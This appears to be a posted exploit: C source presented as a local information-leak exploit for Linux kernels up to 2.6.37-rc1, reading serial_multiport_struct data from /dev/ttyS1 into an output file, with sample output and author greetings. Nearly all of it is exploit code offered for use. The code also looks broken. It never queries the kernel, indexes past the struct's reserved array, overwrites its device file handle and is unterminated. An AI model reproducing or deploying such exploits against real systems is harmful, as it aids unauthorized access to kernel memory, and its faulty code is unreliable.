Linux <= 2.6.37-rc1 serial_multiport_struct Local Info Leak Exploit

[LLegoLLaS]

/* Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
*
* ./splitmilk2 leak 134514859
* [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit
* [\m/] by Todor Donev
* [x] Leakfile : leak
* [x] Reservedsize : 134514859
* [+] Leaking.. =)
* ...
*
*
* Greets to prdelka,
* for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit
*
* Thanks to Tsvetelina Emirska,
* that support, respect and inspire me..
*
* Yes, I know thats lame, but I was so bored and lazy for better.
*
* Author: Todor Donev
* Author email: [todor.donev@gmail]
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>

#define DEVICE "/dev/ttyS1"

int main(int argc, char* argv[]) {
int ret = 0;
int i, fd, reservedsize;
char* buf;
struct serial_multiport_struct buffer;
printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Info Leak Exploit\n");
printf("[\\m/] by Todor Donev\n");
fd = open(DEVICE, O_RDONLY);
if (fd <0) {
printf("[-] Error: f0k\n");
exit(-1);
}
if (argc < 2) {
fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
exit(-1);
}
if (argc > 2)
if ((reservedsize = atoi(argv[2])) == 0) {
fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
exit(-1);
}
fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
if ((buf = (char *)malloc(reservedsize)) == NULL) {
perror("Sorry: (malloc)");
fprintf(stderr, " [-] Sorry: Try again with other output size\n");
exit(1);
}
memset(&buffer,0,sizeof(buffer));
printf("[+] Leaking.. =)\n");
if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
printf("[-] Error: f0k =(\n");
exit(-1);
}
for(i=0;i<=reservedsize;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("\\o/ %d bytez\n",ret);
exit(0);

sursa